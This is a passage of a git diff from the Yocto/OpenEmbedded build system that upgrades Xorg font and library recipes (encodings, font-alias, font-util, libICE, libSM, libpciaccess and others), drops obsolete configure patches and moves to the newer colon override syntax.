-FILES_${PN} += " ${libdir}/xorg/modules/input/*.so \
+FILES:${PN} += " ${libdir}/xorg/modules/input/*.so \
${datadir}/X11/xorg.conf.d \
"
diff --git a/meta/recipes-graphics/xorg-font/encodings/nocompiler.patch b/meta/recipes-graphics/xorg-font/encodings/nocompiler.patch
deleted file mode 100644
index ec7c7d80c1..0000000000
--- a/meta/recipes-graphics/xorg-font/encodings/nocompiler.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From b08c43a0842076e0a94e88ad6456a9326cd7ffc9 Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard.purdie@linuxfoundation.org>
-Date: Tue, 17 May 2011 23:03:02 +0000
-Subject: [PATCH] Improve handling of 'all' architecture recipes and their
-
-Upstream-Status: Inappropriate [configuration]
-
-XORG_DEFAULT_OPTIONS pulls in the following dependency chains:
-
-XORG_CWARNFLAGS -> AC_PROG_CC_C99
-XORG_STRICT_OPTION -> AC_PROG_CC_C99, XORG_CWARNFLAGS
-XORG_MANPAGE_SECTIONS -> AC_CANONICAL_HOST -> Checks host
-
-each of which triggers the use of the host compiler. As an "all"
-architecture package, it shouldn't need a compiler (and doesn't).
-
-RP 17/5/2011
-
----
- configure.ac | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 622c27b..5ee84ed 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -3,12 +3,12 @@ AC_INIT([encodings], [1.0.5],
- [https://gitlab.freedesktop.org/xorg/font/encodings/issues])
- AM_INIT_AUTOMAKE([foreign dist-bzip2])
-
--# Require xorg-macros: XORG_DEFAULT_OPTIONS
- m4_ifndef([XORG_MACROS_VERSION],
- [m4_fatal([must install xorg-macros 1.3 or later before running autoconf/autogen])])
- XORG_MACROS_VERSION(1.3)
--XORG_DEFAULT_OPTIONS
--
-+XORG_RELEASE_VERSION
-+XORG_CHANGELOG
-+XORG_INSTALL
- AC_PROG_INSTALL
-
- # Require X.Org's font util macros 1.2 or later
diff --git a/meta/recipes-graphics/xorg-font/encodings_1.0.5.bb b/meta/recipes-graphics/xorg-font/encodings_1.0.5.bb
deleted file mode 100644
index 713fcfb935..0000000000
--- a/meta/recipes-graphics/xorg-font/encodings_1.0.5.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "The Xorg font encoding files"
-
-DESCRIPTION = "The encodings that map to specific characters for a \
-number of Xorg and common fonts."
-
-require xorg-font-common.inc
-LICENSE = "PD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=9da93f2daf2d5572faa2bfaf0dbd9e76"
-PE = "1"
-PR = "r3"
-
-DEPENDS = "mkfontscale-native mkfontdir-native font-util-native"
-RDEPENDS_${PN} = ""
-
-SRC_URI += "file://nocompiler.patch"
-SRC_URI[md5sum] = "bbae4f247b88ccde0e85ed6a403da22a"
-SRC_URI[sha256sum] = "bd96e16143a044b19e87f217cf6a3763a70c561d1076aad6f6d862ec41774a31"
-
-inherit allarch
-
-EXTRA_OECONF += "--with-encodingsdir=${datadir}/fonts/X11/encodings"
-
-# postinst from .inc doesn't apply to this recipe
-pkg_postinst_${PN} () {
-}
diff --git a/meta/recipes-graphics/xorg-font/encodings_1.1.0.bb b/meta/recipes-graphics/xorg-font/encodings_1.1.0.bb
new file mode 100644
index 0000000000..7432c08ec0
--- /dev/null
+++ b/meta/recipes-graphics/xorg-font/encodings_1.1.0.bb
@@ -0,0 +1,24 @@
+SUMMARY = "The Xorg font encoding files"
+
+DESCRIPTION = "The encodings that map to specific characters for a \
+number of Xorg and common fonts."
+
+require xorg-font-common.inc
+LICENSE = "PD"
+LIC_FILES_CHKSUM = "file://COPYING;md5=9da93f2daf2d5572faa2bfaf0dbd9e76"
+PE = "1"
+
+DEPENDS = "mkfontscale-native mkfontdir-native font-util-native"
+RDEPENDS:${PN} = ""
+
+SRC_URI[sha256sum] = "9ff13c621756cfa12e95f32ba48a5b23839e8f577d0048beda66c67dab4de975"
+
+SRC_URI_EXT = "xz"
+
+inherit allarch
+
+EXTRA_OECONF += "--with-encodingsdir=${datadir}/fonts/X11/encodings"
+
+# postinst from .inc doesn't apply to this recipe
+pkg_postinst:${PN} () {
+}
diff --git a/meta/recipes-graphics/xorg-font/font-alias-1.0.3/nocompiler.patch b/meta/recipes-graphics/xorg-font/font-alias-1.0.3/nocompiler.patch
deleted file mode 100644
index 0b9fb8ccc0..0000000000
--- a/meta/recipes-graphics/xorg-font/font-alias-1.0.3/nocompiler.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
-XORG_DEFAULT_OPTIONS pulls in the following dependency chains:
-
-XORG_CWARNFLAGS -> AC_PROG_CC_C99
-XORG_STRICT_OPTION -> AC_PROG_CC_C99, XORG_CWARNFLAGS
-XORG_MANPAGE_SECTIONS -> AC_CANONICAL_HOST -> Checks host
-
-each of which triggers the use of the host compiler. As an "all"
-architecture package, it shouldn't need a compiler (and doesn't).
-
-RP 17/5/2011
-
-diff -uNr font-alias-1.0.3.orig//configure.ac font-alias-1.0.3/configure.ac
---- font-alias-1.0.3.orig//configure.ac 2011-05-18 21:29:18.378258643 +0200
-+++ font-alias-1.0.3/configure.ac 2011-05-18 21:32:06.865258593 +0200
-@@ -28,12 +28,12 @@
- AM_INIT_AUTOMAKE([foreign dist-bzip2])
- AM_MAINTAINER_MODE
-
--# Require xorg-macros: XORG_DEFAULT_OPTIONS
- m4_ifndef([XORG_MACROS_VERSION],
- [m4_fatal([must install xorg-macros 1.3 or later before running autoconf/autogen])])
- XORG_MACROS_VERSION(1.3)
--XORG_DEFAULT_OPTIONS
--
-+XORG_RELEASE_VERSION
-+XORG_CHANGELOG
-+XORG_INSTALL
- AC_PROG_INSTALL
-
- XORG_FONTROOTDIR
diff --git a/meta/recipes-graphics/xorg-font/font-alias_1.0.3.bb b/meta/recipes-graphics/xorg-font/font-alias_1.0.3.bb
deleted file mode 100644
index c5990a9e44..0000000000
--- a/meta/recipes-graphics/xorg-font/font-alias_1.0.3.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "X font aliases"
-
-require xorg-font-common.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=bf0158b89be493d523d69d9f29265038 \
- file://cyrillic/fonts.alias;md5=f40795b0640d6785826aecd3b16f6124 \
- file://75dpi/fonts.alias;md5=6bc48023f2ae7f3bfc105db7b0ee6b49 \
- file://misc/fonts.alias;md5=a8ec05d528431d4c9703b55a7efd67a8 \
- file://100dpi/fonts.alias;md5=85bebd6ca213aa656c301a72eb4397cb"
-
-SRC_URI += "file://nocompiler.patch"
-
-DEPENDS = "util-macros-native font-util-native"
-RDEPENDS_${PN} = "encodings font-util"
-RDEPENDS_${PN}_class-native = "font-util-native"
-
-inherit allarch
-
-PE = "1"
-PR = "r3"
-
-SRC_URI[md5sum] = "6d25f64796fef34b53b439c2e9efa562"
-SRC_URI[sha256sum] = "8b453b2aae1cfa8090009ca037037b8c5e333550651d5a158b7264ce1d472c9a"
diff --git a/meta/recipes-graphics/xorg-font/font-alias_1.0.5.bb b/meta/recipes-graphics/xorg-font/font-alias_1.0.5.bb
new file mode 100644
index 0000000000..03c39a4334
--- /dev/null
+++ b/meta/recipes-graphics/xorg-font/font-alias_1.0.5.bb
@@ -0,0 +1,22 @@
+SUMMARY = "X font aliases"
+
+require xorg-font-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=bf0158b89be493d523d69d9f29265038 \
+ file://cyrillic/fonts.alias;md5=d27bc65a2655cacdbc2644b51c064c20 \
+ file://75dpi/fonts.alias;md5=6bc48023f2ae7f3bfc105db7b0ee6b49 \
+ file://misc/fonts.alias;md5=1bdafa7c31aa54f87f3531f2ef8ed5a6 \
+ file://100dpi/fonts.alias;md5=85bebd6ca213aa656c301a72eb4397cb \
+ "
+SRC_URI_EXT = "xz"
+
+DEPENDS = "util-macros-native font-util-native"
+RDEPENDS:${PN} = "encodings font-util"
+RDEPENDS:${PN}:class-native = "font-util-native"
+
+inherit allarch
+
+PE = "1"
+
+SRC_URI[sha256sum] = "9f89e217bb73e0e3636a0a493fbf8b7c995156e0c53d9a0476d201b67c2d6b6e"
diff --git a/meta/recipes-graphics/xorg-font/font-util_1.3.2.bb b/meta/recipes-graphics/xorg-font/font-util_1.3.2.bb
deleted file mode 100644
index ebe7a603fa..0000000000
--- a/meta/recipes-graphics/xorg-font/font-util_1.3.2.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "X.Org font package creation/installation utilities"
-
-require xorg-font-common.inc
-
-#Unicode is MIT
-LICENSE = "BSD & MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=5df208ec65eb84ce5bb8d82d8f3b9675 \
- file://ucs2any.c;endline=28;md5=8357dc567fc628bd12696f15b2a33bcb \
- file://bdftruncate.c;endline=26;md5=4f82ffc101a1b165eae9c6998abff937 \
- file://map-ISO8859-1;beginline=9;endline=23;md5=1cecb984063248f29ffe5c46f5c04f34"
-
-DEPENDS = "encodings util-macros"
-DEPENDS_class-native = "util-macros-native"
-RDEPENDS_${PN} = "mkfontdir mkfontscale encodings"
-RDEPENDS_${PN}_class-native = ""
-
-BBCLASSEXTEND = "native"
-
-SRC_URI[md5sum] = "3d6adb76fdd072db8c8fae41b40855e8"
-SRC_URI[sha256sum] = "3ad880444123ac06a7238546fa38a2a6ad7f7e0cc3614de7e103863616522282"
-
-SYSROOT_DIRS_BLACKLIST_remove = "${datadir}/fonts"
diff --git a/meta/recipes-graphics/xorg-font/font-util_1.4.1.bb b/meta/recipes-graphics/xorg-font/font-util_1.4.1.bb
new file mode 100644
index 0000000000..0c65927fb4
--- /dev/null
+++ b/meta/recipes-graphics/xorg-font/font-util_1.4.1.bb
@@ -0,0 +1,23 @@
+SUMMARY = "X.Org font package creation/installation utilities"
+
+require xorg-font-common.inc
+
+LICENSE = "Unicode-TOU & BSD-4-Clause & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2a9e705c00e463c8d294f90486852e06 \
+ file://ucs2any.c;endline=28;md5=8357dc567fc628bd12696f15b2a33bcb \
+ file://bdftruncate.c;endline=26;md5=4f82ffc101a1b165eae9c6998abff937 \
+ file://map-ISO8859-1;beginline=1;endline=4;md5=9c9c1d525d29c0e82b5c99edbb8e71c1 \
+ "
+
+DEPENDS = "encodings util-macros"
+DEPENDS:class-native = "util-macros-native"
+RDEPENDS:${PN} = "mkfontdir mkfontscale encodings"
+RDEPENDS:${PN}:class-native = ""
+
+BBCLASSEXTEND = "native"
+
+SRC_URI[sha256sum] = "5c9f64123c194b150fee89049991687386e6ff36ef2af7b80ba53efaf368cc95"
+
+SYSROOT_DIRS_IGNORE:remove = "${datadir}/fonts"
+
+SRC_URI_EXT = "xz"
diff --git a/meta/recipes-graphics/xorg-font/xorg-font-common.inc b/meta/recipes-graphics/xorg-font/xorg-font-common.inc
index 7ca5c76a66..edf7cf7642 100644
--- a/meta/recipes-graphics/xorg-font/xorg-font-common.inc
+++ b/meta/recipes-graphics/xorg-font/xorg-font-common.inc
@@ -2,14 +2,15 @@ HOMEPAGE = "http://www.x.org"
BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xorg"
SECTION = "x11/fonts"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
DEPENDS = " encodings font-alias font-util-native"
-RDEPENDS_${PN} = "encodings font-util font-alias"
+RDEPENDS:${PN} = "encodings font-util font-alias"
XORG_PN = "${BPN}"
-SRC_URI = "${XORG_MIRROR}/individual/font/${XORG_PN}-${PV}.tar.bz2"
+SRC_URI_EXT = "bz2"
+SRC_URI = "${XORG_MIRROR}/individual/font/${XORG_PN}-${PV}.tar.${SRC_URI_EXT}"
S = "${WORKDIR}/${XORG_PN}-${PV}"
inherit autotools pkgconfig features_check
@@ -19,17 +20,17 @@ REQUIRED_DISTRO_FEATURES = "x11"
EXTRA_OEMAKE += "FCCACHE=/bin/true UTIL_DIR=${STAGING_DIR_TARGET}\$\(MAPFILES_PATH\)"
-do_install_append() {
+do_install:append() {
find ${D}${libdir}/X11/fonts -type f -name fonts.dir | xargs rm -f
find ${D}${libdir}/X11/fonts -type f -name fonts.scale | xargs rm -f
find ${D}${datadir}/fonts/X11 -type f -name fonts.dir | xargs rm -f
find ${D}${datadir}/fonts/X11 -type f -name fonts.scale | xargs rm -f
}
-FILES_${PN} += " ${libdir}/X11/fonts ${datadir}"
+FILES:${PN} += " ${libdir}/X11/fonts ${datadir}"
PACKAGE_WRITE_DEPS += "mkfontdir-native mkfontscale-native"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
for fontdir in `find $D/usr/lib/X11/fonts -type d`; do
mkfontdir $fontdir
mkfontscale $fontdir
diff --git a/meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb b/meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb
index 1ea08a6c99..d32ef77447 100644
--- a/meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb
+++ b/meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb
@@ -10,8 +10,9 @@ LIC_FILES_CHKSUM = "file://../misc/fonts.dir;md5=82a143d94d6a974aafe97132d2d519a
SRC_URI = "file://misc"
+SOURCE_DATE_EPOCH = "1613559011"
+
PE = "1"
-PR = "r2"
inherit allarch features_check
@@ -21,12 +22,14 @@ REQUIRED_DISTRO_FEATURES = "x11"
S = "${WORKDIR}/misc"
PACKAGES = "${PN}"
-FILES_${PN} = "${libdir}/X11/ ${datadir}/fonts/X11/"
-RDEPENDS_${PN} += "font-alias"
+FILES:${PN} = "${libdir}/X11/ ${datadir}/fonts/X11/"
+RDEPENDS:${PN} += "font-alias"
do_install() {
install -d ${D}/${datadir}/fonts/X11/misc
install -m 0644 ${S}/* ${D}/${datadir}/fonts/X11/misc/
+ # Pick a date/time as otherwise it would be the git checkout/modify time
+ touch -d @1613559011 ${D}/${datadir}/fonts/X11/misc/*
install -d ${D}/${libdir}/X11
ln -sf ${datadir}/fonts/X11/ ${D}/${libdir}/X11/fonts -s
}
diff --git a/meta/recipes-graphics/xorg-lib/files/libx11-whitespace.patch b/meta/recipes-graphics/xorg-lib/files/libx11-whitespace.patch
deleted file mode 100644
index 3f97143082..0000000000
--- a/meta/recipes-graphics/xorg-lib/files/libx11-whitespace.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-Upstream-Status: Submitted [https://gitlab.freedesktop.org/xorg/lib/libx11/merge_requests/33]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From b41469c5f08b1f3365667ff3c430b104c9b8e25f Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Wed, 22 Jan 2020 17:11:23 +0000
-Subject: [PATCH libX11] cpprules.in: squash whitespace in generated files
-
-CPP is used to generate files, but as cpp reads files from the build host the
-output has a number of blank lines at the beginning which varies depending on
-what GCC and friends is used.
-
-Pathalogical example:
-
- $ cpp -undef -traditional /dev/null
- # 1 "/dev/null"
- # 1 "<built-in>"
- # 1 "<command-line>"
- # 31 "<command-line>"
- # 1 "/usr/include/stdc-predef.h" 1 3 4
-
- # 17 "/usr/include/stdc-predef.h" 3 4
-
- [ 40 blank line ]
-
- # 32 "<command-line>" 2
- # 1 "/dev/null"
-
-So depending on the content of stdc-predef.h and what other headers CPP will
-load, the amount of whitespace in the generates files varies. This can result in
-differences in reproducible environments, and file conflicts in multilib
-environments.
-
-As whitespace is irrelevant to these machine-readable files, extend the sed to
-just delete blank lines.
----
- cpprules.in | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/cpprules.in b/cpprules.in
-index 03d6701e..ce6b3c98 100644
---- a/cpprules.in
-+++ b/cpprules.in
-@@ -23,7 +23,8 @@ CPP_SED_MAGIC = $(SED) -e '/^\# *[0-9][0-9]* *.*$$/d' \
- -e '/^[ ]*XCOMM[^a-zA-Z0-9_]/s/XCOMM/\#/' \
- -e '/^[ ]*XHASH/s/XHASH/\#/' \
- -e 's,X11_LOCALEDATADIR,$(X11_LOCALEDATADIR),g' \
-- -e '/\@\@$$/s/\@\@$$/\\/'
-+ -e '/\@\@$$/s/\@\@$$/\\/' \
-+ -e '/^$$/d'
-
- .pre:
- @$(MKDIR_P) $(@D)
---
-2.20.1
-
diff --git a/meta/recipes-graphics/xorg-lib/libdmx_1.1.4.bb b/meta/recipes-graphics/xorg-lib/libdmx_1.1.4.bb
deleted file mode 100644
index 66172cb30c..0000000000
--- a/meta/recipes-graphics/xorg-lib/libdmx_1.1.4.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-require xorg-lib-common.inc
-
-SUMMARY = "DMX: Distributed Multihead X extension library"
-
-DESCRIPTION = "The DMX extension provides support for communication with \
-and control of Xdmx(1) server. Attributes of the Xdmx(1) server and of \
-the back-end screens attached to the server can be queried and modified \
-via this protocol."
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a3c3499231a8035efd0e004cfbd3b72a \
- file://src/dmx.c;endline=33;md5=c43f19af03c7c8619cadc9724ed9afe1"
-
-DEPENDS += "libxext xorgproto"
-
-PE = "1"
-
-SRC_URI[md5sum] = "d2f1f0ec68ac3932dd7f1d9aa0a7a11c"
-SRC_URI[sha256sum] = "253f90005d134fa7a209fbcbc5a3024335367c930adf0f3203e754cf32747243"
-
diff --git a/meta/recipes-graphics/xorg-lib/libfontenc_1.1.4.bb b/meta/recipes-graphics/xorg-lib/libfontenc_1.1.4.bb
deleted file mode 100644
index 1fc74b1995..0000000000
--- a/meta/recipes-graphics/xorg-lib/libfontenc_1.1.4.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "X font encoding library"
-
-DESCRIPTION = "libfontenc is a library which helps font libraries \
-portably determine and deal with different encodings of fonts."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=96254c20ab81c63e65b26f0dbcd4a1c1"
-
-DEPENDS += "zlib xorgproto font-util"
-PE = "1"
-
-SRC_URI[md5sum] = "6447db6a689fb530c218f0f8328c3abc"
-SRC_URI[sha256sum] = "2cfcce810ddd48f2e5dc658d28c1808e86dcf303eaff16728b9aa3dbc0092079"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-graphics/xorg-lib/libfontenc_1.1.8.bb b/meta/recipes-graphics/xorg-lib/libfontenc_1.1.8.bb
new file mode 100644
index 0000000000..0fc117fc58
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libfontenc_1.1.8.bb
@@ -0,0 +1,16 @@
+SUMMARY = "X font encoding library"
+
+DESCRIPTION = "libfontenc is a library which helps font libraries \
+portably determine and deal with different encodings of fonts."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=96254c20ab81c63e65b26f0dbcd4a1c1"
+
+DEPENDS += "zlib xorgproto font-util"
+PE = "1"
+
+SRC_URI[sha256sum] = "7b02c3d405236e0d86806b1de9d6868fe60c313628b38350b032914aa4fd14c6"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-graphics/xorg-lib/libice_1.0.10.bb b/meta/recipes-graphics/xorg-lib/libice_1.0.10.bb
deleted file mode 100644
index 6a6316f320..0000000000
--- a/meta/recipes-graphics/xorg-lib/libice_1.0.10.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "ICE: Inter-Client Exchange library"
-
-DESCRIPTION = "The Inter-Client Exchange (ICE) protocol provides a \
-generic framework for building protocols on top of reliable, byte-stream \
-transport connections. It provides basic mechanisms for setting up and \
-shutting down connections, for performing authentication, for \
-negotiating versions, and for reporting errors. "
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d162b1b3c6fa812da9d804dcf8584a93"
-
-DEPENDS += "xorgproto xtrans"
-PROVIDES = "ice"
-
-PE = "1"
-
-XORG_PN = "libICE"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI[md5sum] = "76d77499ee7120a56566891ca2c0dbcf"
-SRC_URI[sha256sum] = "6f86dce12cf4bcaf5c37dddd8b1b64ed2ddf1ef7b218f22b9942595fb747c348"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[arc4] = "ac_cv_lib_bsd_arc4random_buf=yes,ac_cv_lib_bsd_arc4random_buf=no,libbsd"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
diff --git a/meta/recipes-graphics/xorg-lib/libice_1.1.1.bb b/meta/recipes-graphics/xorg-lib/libice_1.1.1.bb
new file mode 100644
index 0000000000..d5e3d28e06
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libice_1.1.1.bb
@@ -0,0 +1,27 @@
+SUMMARY = "ICE: Inter-Client Exchange library"
+
+DESCRIPTION = "The Inter-Client Exchange (ICE) protocol provides a \
+generic framework for building protocols on top of reliable, byte-stream \
+transport connections. It provides basic mechanisms for setting up and \
+shutting down connections, for performing authentication, for \
+negotiating versions, and for reporting errors. "
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d162b1b3c6fa812da9d804dcf8584a93"
+
+DEPENDS += "xorgproto xtrans"
+PROVIDES = "ice"
+
+PE = "1"
+
+XORG_PN = "libICE"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI[sha256sum] = "03e77afaf72942c7ac02ccebb19034e6e20f456dcf8dddadfeb572aa5ad3e451"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG[arc4] = "ac_cv_lib_bsd_arc4random_buf=yes,ac_cv_lib_bsd_arc4random_buf=no,libbsd"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
diff --git a/meta/recipes-graphics/xorg-lib/libpciaccess_0.16.bb b/meta/recipes-graphics/xorg-lib/libpciaccess_0.16.bb
deleted file mode 100644
index b58cb80dc3..0000000000
--- a/meta/recipes-graphics/xorg-lib/libpciaccess_0.16.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "Generic PCI access library for X"
-
-DESCRIPTION = "libpciaccess provides functionality for X to access the \
-PCI bus and devices in a platform-independent way."
-
-require xorg-lib-common.inc
-
-SRC_URI += "\
-"
-
-SRC_URI[md5sum] = "b34e2cbdd6aa8f9cc3fa613fd401a6d6"
-SRC_URI[sha256sum] = "214c9d0d884fdd7375ec8da8dcb91a8d3169f263294c9a90c575bf1938b9f489"
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=277aada5222b9a22fbf3471ff3687068"
-
-REQUIRED_DISTRO_FEATURES = ""
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libpciaccess_0.18.1.bb b/meta/recipes-graphics/xorg-lib/libpciaccess_0.18.1.bb
new file mode 100644
index 0000000000..d311fd95e0
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libpciaccess_0.18.1.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Generic PCI access library for X"
+
+DESCRIPTION = "libpciaccess provides functionality for X to access the \
+PCI bus and devices in a platform-independent way."
+
+HOMEPAGE = "http://www.x.org"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=xorg"
+
+SECTION = "x11/libs"
+LICENSE = "MIT"
+DEPENDS = "util-macros"
+
+SRC_URI = "${XORG_MIRROR}/individual/lib/${BP}.tar.xz"
+
+inherit features_check pkgconfig meson
+
+REQUIRED_DISTRO_FEATURES ?= "x11"
+
+SRC_URI[sha256sum] = "4af43444b38adb5545d0ed1c2ce46d9608cc47b31c2387fc5181656765a6fa76"
+
+LICENSE = "MIT & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=54c978968e565218eea36cf03ef24352"
+
+REQUIRED_DISTRO_FEATURES = ""
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libpthread-stubs_0.4.bb b/meta/recipes-graphics/xorg-lib/libpthread-stubs_0.4.bb
deleted file mode 100644
index ffa1c859d6..0000000000
--- a/meta/recipes-graphics/xorg-lib/libpthread-stubs_0.4.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "Library that provides weak aliases for pthread functions"
-DESCRIPTION = "This library provides weak aliases for pthread functions \
-not provided in libc or otherwise available by default."
-HOMEPAGE = "http://xcb.freedesktop.org"
-BUGTRACKER = "http://bugs.freedesktop.org/buglist.cgi?product=XCB"
-SECTION = "x11/libs"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6edc1fea03d959f0c2d743fe5ca746ad"
-
-SRC_URI = "http://xcb.freedesktop.org/dist/${BP}.tar.bz2"
-SRC_URI[md5sum] = "48c1544854a94db0e51499cc3afd797f"
-SRC_URI[sha256sum] = "e4d05911a3165d3b18321cc067fdd2f023f06436e391c6a28dff618a78d2e733"
-
-inherit autotools
-
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libpthread-stubs_0.5.bb b/meta/recipes-graphics/xorg-lib/libpthread-stubs_0.5.bb
new file mode 100644
index 0000000000..62384e6d2e
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libpthread-stubs_0.5.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Library that provides weak aliases for pthread functions"
+DESCRIPTION = "This library provides weak aliases for pthread functions \
+not provided in libc or otherwise available by default."
+HOMEPAGE = "http://xcb.freedesktop.org"
+BUGTRACKER = "http://bugs.freedesktop.org/buglist.cgi?product=XCB"
+SECTION = "x11/libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6edc1fea03d959f0c2d743fe5ca746ad"
+
+SRC_URI = "http://xcb.freedesktop.org/dist/${BP}.tar.xz"
+SRC_URI[sha256sum] = "59da566decceba7c2a7970a4a03b48d9905f1262ff94410a649224e33d2442bc"
+
+inherit autotools
+
+DEV_PKG_DEPENDENCY = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libsm_1.2.3.bb b/meta/recipes-graphics/xorg-lib/libsm_1.2.3.bb
deleted file mode 100644
index 49df690f0a..0000000000
--- a/meta/recipes-graphics/xorg-lib/libsm_1.2.3.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "SM: Session Management library"
-
-DESCRIPTION = "The Session Management Library (SMlib) is a low-level \"C\" \
-language interface to XSMP. The purpose of the X Session Management \
-Protocol (XSMP) is to provide a uniform mechanism for users to save and \
-restore their sessions. A session is a group of clients, each of which \
-has a particular state."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c0fb37f44e02bdbde80546024400728d"
-
-DEPENDS += "libice xorgproto xtrans"
-
-# libSM can work without libuuid, we explicitly disable it to break the following circular dependency
-# when DISTRO_FEATURES contains 'systemd' and 'x11'.
-# systemd -> dbus -> libsm -> util-linux -> systemd
-EXTRA_OECONF += "--without-libuuid"
-
-PE = "1"
-
-XORG_PN = "libSM"
-
-SRC_URI[md5sum] = "87c7fad1c1813517979184c8ccd76628"
-SRC_URI[sha256sum] = "2d264499dcb05f56438dee12a1b4b71d76736ce7ba7aa6efbf15ebb113769cbb"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libsm_1.2.4.bb b/meta/recipes-graphics/xorg-lib/libsm_1.2.4.bb
new file mode 100644
index 0000000000..ab030723c6
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libsm_1.2.4.bb
@@ -0,0 +1,30 @@
+SUMMARY = "SM: Session Management library"
+
+DESCRIPTION = "The Session Management Library (SMlib) is a low-level \"C\" \
+language interface to XSMP. The purpose of the X Session Management \
+Protocol (XSMP) is to provide a uniform mechanism for users to save and \
+restore their sessions. A session is a group of clients, each of which \
+has a particular state."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c0fb37f44e02bdbde80546024400728d"
+
+DEPENDS += "libice xorgproto xtrans"
+
+# libSM can work without libuuid, we explicitly disable it to break the following circular dependency
+# when DISTRO_FEATURES contains 'systemd' and 'x11'.
+# systemd -> dbus -> libsm -> util-linux -> systemd
+EXTRA_OECONF += "--without-libuuid"
+
+PE = "1"
+
+XORG_PN = "libSM"
+
+SRC_URI[sha256sum] = "fdcbe51e4d1276b1183da77a8a4e74a137ca203e0bcfb20972dd5f3347e97b84"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libx11-compose-data/0001-Drop-x11-dependencies.patch b/meta/recipes-graphics/xorg-lib/libx11-compose-data/0001-Drop-x11-dependencies.patch
index 46a53a17f2..61af98d95e 100644
